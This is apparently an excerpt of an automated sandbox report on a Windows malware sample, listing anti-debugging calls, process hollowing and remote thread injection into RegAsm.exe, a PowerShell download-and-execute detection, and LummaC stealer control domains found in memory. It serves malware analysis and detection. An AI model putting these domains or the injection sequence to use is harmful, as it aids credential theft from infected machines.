Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CB15E mov eax, dword ptr fs:[00000030h]	3_2_004CB15E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C9213 mov eax, dword ptr fs:[00000030h]	3_2_004C9213
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CB30F mov eax, dword ptr fs:[00000030h]	3_2_004CB30F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C93CB mov eax, dword ptr fs:[00000030h]	3_2_004C93CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004D3600 mov eax, dword ptr fs:[00000030h]	3_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C9B4B mov eax, dword ptr fs:[00000030h]	3_2_004C9B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004C9CFC mov eax, dword ptr fs:[00000030h]	3_2_004C9CFC
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00050C35 mov eax, dword ptr fs:[00000030h]	11_2_00050C35
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00049650 mov ecx, dword ptr fs:[00000030h]	11_2_00049650
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A30C35 mov eax, dword ptr fs:[00000030h]	12_2_00A30C35
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A29650 mov ecx, dword ptr fs:[00000030h]	12_2_00A29650
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00760C45 mov eax, dword ptr fs:[00000030h]	22_2_00760C45
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00759660 mov ecx, dword ptr fs:[00000030h]	22_2_00759660

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe

Code function: 0_2_00B55C23 GetProcessHeap,

0_2_00B55C23

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B3C03D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B3C03D
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B3C1CA SetUnhandledExceptionFilter,	0_2_00B3C1CA
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B3BD36 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B3BD36
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: 0_2_00B3FE53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B3FE53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434184 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00434184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434311 SetUnhandledExceptionFilter,	3_2_00434311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043451D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0043451D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00438A64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00438A64
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0003C03D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0003C03D
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0003C1CA SetUnhandledExceptionFilter,	11_2_0003C1CA
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0003BD36 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0003BD36
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0003FE53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0003FE53
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A1C03D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00A1C03D
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A1C1CA SetUnhandledExceptionFilter,	12_2_00A1C1CA
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A1BD36 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00A1BD36
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A1FE53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00A1FE53
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0074C04D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0074C04D
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0074C1DA SetUnhandledExceptionFilter,	22_2_0074C1DA
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0074BD46 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_0074BD46
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0074FE63 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0074FE63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7742AF SetUnhandledExceptionFilter,	23_2_1B7742AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B772C8E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_1B772C8E

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: EWDN0G9BRDazVJeatNlA.exe PID: 7032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSIUpdaterV168.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSIUpdaterV168.exe PID: 7188, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe

Code function: 0_2_001D018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_001D018D

Contains functionality to inject threads in other processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004CF280 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

3_2_004CF280

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: richardflorespoew.shop
Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: strwawrunnygjwu.shop
Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: justifycanddidatewd.shop
Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: raiseboltskdlwpow.shop
Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: falseaudiencekd.shop
Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: pleasurenarrowsdla.shop
Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: feighminoritsjda.shop
Source: UD9d3d9BDMOjLcXwYzjP.exe, 0000001E.00000002.1869994246.0000000000478000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: marathonbeedksow.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: EE5008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1068008	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CFE008	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1305008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 423000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 642000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: DC9008
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44F000
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B05008
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 423000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 642000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 91B008
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 423000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 642000
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: FBC008
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44F000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 649008
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000
